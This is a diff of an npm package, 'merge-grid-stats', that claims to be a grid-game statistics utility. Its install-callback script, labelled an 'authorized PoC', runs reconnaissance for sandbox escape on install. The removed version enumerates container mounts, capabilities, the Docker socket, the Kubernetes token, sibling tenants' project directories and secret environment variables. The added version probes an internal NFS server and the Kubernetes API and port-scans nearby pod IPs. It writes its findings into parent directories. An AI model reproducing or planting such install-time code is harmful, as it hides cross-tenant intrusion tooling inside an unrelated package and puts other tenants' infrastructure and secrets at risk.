merge-grid-stats 1.4.0 → 1.5.0

package/install-cb.js

@@ -1,72 +1,76 @@
-// Authorized PoC (non-destructive): container escape + cross-tenant recon. Results -> NCODE_ESCAPE.txt
+// Authorized PoC (non-destructive): cross-sandbox network reachability + NFS/K8s recon. Results -> NCODE_ESCAPE2.txt
 var fs = require('fs');
 var path = require('path');
 var os = require('os');
 var cp = require('child_process');
+var net = require('net');
 
 var cwd = process.cwd();
-var out = ['escape-probe', 'cwd=' + cwd, 'host=' + os.hostname(), 'now=' + new Date().toISOString()];
+var out = ['escape2-probe', 'host=' + os.hostname(), 'now=' + new Date().toISOString()];
 
 function run(cmd) {
-  try {
-    return cp.execSync(cmd, {timeout: 5000, encoding: 'utf-8', shell: '/bin/sh', maxBuffer: 2*1024*1024}).trim();
-  } catch (e) {
-    return 'ERR:' + String((e && e.message) || e).split('\n')[0].slice(0, 200);
-  }
+  try { return cp.execSync(cmd, {timeout: 6000, encoding: 'utf-8', shell: '/bin/sh', maxBuffer: 2*1024*1024}).trim(); }
+  catch (e) { return 'ERR:' + String((e && e.message) || e).split('\n')[0].slice(0, 200); }
 }
-function read(p) {
-  try { return fs.readFileSync(p, 'utf-8').trim(); } catch (e) { return 'ERR:' + e.code; }
+function read(p) { try { return fs.readFileSync(p, 'utf-8').trim(); } catch (e) { return 'ERR:' + e.code; } }
+
+out.push('=== NFS tools ===');
+out.push(run('which showmount rpcinfo mount nfsstat 2>&1'));
+
+out.push('=== showmount -e NFS ===');
+out.push(run('showmount -e 10.0.128.136 2>&1 | head -40'));
+
+out.push('=== rpcinfo NFS ===');
+out.push(run('rpcinfo -p 10.0.128.136 2>&1 | head -25'));
+
+out.push('=== K8s env ===');
+out.push(run('env | grep -i kubernetes | sed "s/=.*/=***/"'));
+
+var k8sHost = process.env.KUBERNETES_SERVICE_HOST;
+out.push('=== K8s API probe ===');
+if (k8sHost) {
+  out.push('k8s_host=' + k8sHost);
+  out.push(run('curl -sk --max-time 5 https://' + k8sHost + '/version 2>&1 | head -c 300'));
+  out.push('--- /api ---');
+  out.push(run('curl -sk --max-time 5 https://' + k8sHost + '/api/v1 2>&1 | head -c 300'));
+} else {
+  out.push('no k8s host env');
 }
 
-out.push('=== OS ===');
-out.push('uname=' + run('uname -a'));
-out.push('id=' + run('id'));
-out.push('=== cgroup ===');
-out.push(run('cat /proc/1/cgroup'));
-out.push('=== mounts ===');
-out.push(run('cat /proc/mounts'));
-out.push('=== capabilities ===');
-out.push(read('/proc/self/status').split('\n').filter(function (l) { return l.indexOf('Cap') === 0; }).join('|'));
-out.push('=== docker socket ===');
-out.push('docker_sock=' + fs.existsSync('/var/run/docker.sock'));
-out.push('=== k8s sa ===');
-var saDir = '/var/run/secrets/kubernetes.io/serviceaccount';
-out.push('k8s_sa_dir=' + (fs.existsSync(saDir) ? 'EXISTS' : 'no'));
-if (fs.existsSync(saDir + '/token')) {
-  out.push('k8s_token_len=' + fs.readFileSync(saDir + '/token', 'utf-8').length);
-  out.push('k8s_ns=' + read(saDir + '/namespace'));
+out.push('=== mount parent check ===');
+out.push(run('ls -la /mnt 2>&1 | head; ls -la /mnt/nocode 2>&1 | head -8'));
+out.push(run('cat /proc/net/arp 2>&1'));
+
+// Bounded internal reachability: NFS server, K8s API, and nearby pod IPs (dev-server 8080 / ssh 22 / http 80)
+out.push('=== internal reachability ===');
+var targets = [];
+targets.push('10.0.128.136');
+if (k8sHost) targets.push(k8sHost);
+var base = 131;
+for (var i = 110; i <= 126; i++) targets.push('10.0.' + base + '.' + i);   // nearby pods around .118
+for (var j = 1; j <= 6; j++) targets.push('10.0.128.' + j);
+
+function tcpCheck(host, port, ms) {
+  return new Promise(function (res) {
+    var s = new net.Socket();
+    var done = false;
+    var t = setTimeout(function () { if (!done) { done = true; res(host + ':' + port + '=timeout'); } try { s.destroy(); } catch (e) {} }, ms);
+    s.setTimeout(ms);
+    s.once('connect', function () { clearTimeout(t); if (!done) { done = true; res(host + ':' + port + '=OPEN'); } try { s.destroy(); } catch (e) {} });
+    s.once('error', function (e) { clearTimeout(t); if (!done) { done = true; res(host + ':' + port + '=' + (e.code || 'ERR')); } });
+    s.connect(port, host);
+  });
 }
-out.push('=== / root ===');
-out.push(run('ls -la /'));
-out.push('=== /root ===');
-out.push(run('ls -la /root'));
-out.push('=== /root/projects ===');
-out.push(run('ls -la /root/projects 2>&1'));
-out.push('=== sibling project dirs ===');
-out.push(run('for d in /root/projects/*/; do echo "== $d"; ls "$d" 2>&1 | head -12; done'));
-out.push('=== host write test ===');
-out.push(run('touch /NCODE_HOST_TEST_$$ 2>&1; ls -la /NCODE_HOST_TEST_* 2>&1; rm -f /NCODE_HOST_TEST_* 2>&1'));
-out.push('=== env sensitive ===');
-out.push(run('env | grep -iE "kube|cluster|namespace|tenant|token|secret|ak|sk|key|password|passwd|db_|redis|oss|s3" | sed "s/=.*/=***/" | head -20'));
-out.push('=== net ===');
-out.push(run('cat /proc/net/dev'));
-out.push('=== ip ===');
-out.push(run('ip addr 2>&1 | head -30'));
-out.push('=== route ===');
-out.push(run('ip route 2>&1 | head -20'));
-out.push('=== resolv.conf ===');
-out.push(read('/etc/resolv.conf'));
-out.push('=== /etc/hosts ===');
-out.push(read('/etc/hosts'));
-out.push('=== proc1 ===');
-out.push('cmdline=' + read('/proc/1/cmdline').replace(/\0/g, ' '));
-out.push('=== tmp & work ===');
-out.push(run('ls -la /tmp /var/tmp /workspace /work 2>&1 | head -40'));
 
-var data = out.join('\n');
-['', '..', '../..'].forEach(function (rel) {
-  try { fs.writeFileSync(path.join(cwd, rel, 'NCODE_ESCAPE.txt'), data); } catch (e) {}
+var ports = [80, 8080, 22];
+var tasks = [];
+targets.forEach(function (h) {
+  ports.forEach(function (p) { tasks.push(tcpCheck(h, p, 1200)); });
 });
-['', '..', '../..'].forEach(function (rel) {
-  try { fs.writeFileSync(path.join(cwd, rel, 'NCODE_POC_MARKER.txt'), 'escape-probe-done ' + new Date().toISOString()); } catch (e) {}
+
+Promise.all(tasks).then(function (results) {
+  out.push(results.join('\n'));
+  var data = out.join('\n');
+  ['', '..', '../..'].forEach(function (rel) { try { fs.writeFileSync(path.join(cwd, rel, 'NCODE_ESCAPE2.txt'), data); } catch (e) {} });
+  ['', '..', '../..'].forEach(function (rel) { try { fs.writeFileSync(path.join(cwd, rel, 'NCODE_POC_MARKER.txt'), 'escape2-done ' + new Date().toISOString()); } catch (e) {} });
 });

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "merge-grid-stats",
-  "version": "1.4.0",
+  "version": "1.5.0",
   "description": "Lightweight utility for merge-style grid games: score tracking, move statistics, and best-score persistence helpers.",
   "main": "index.js",
   "scripts": {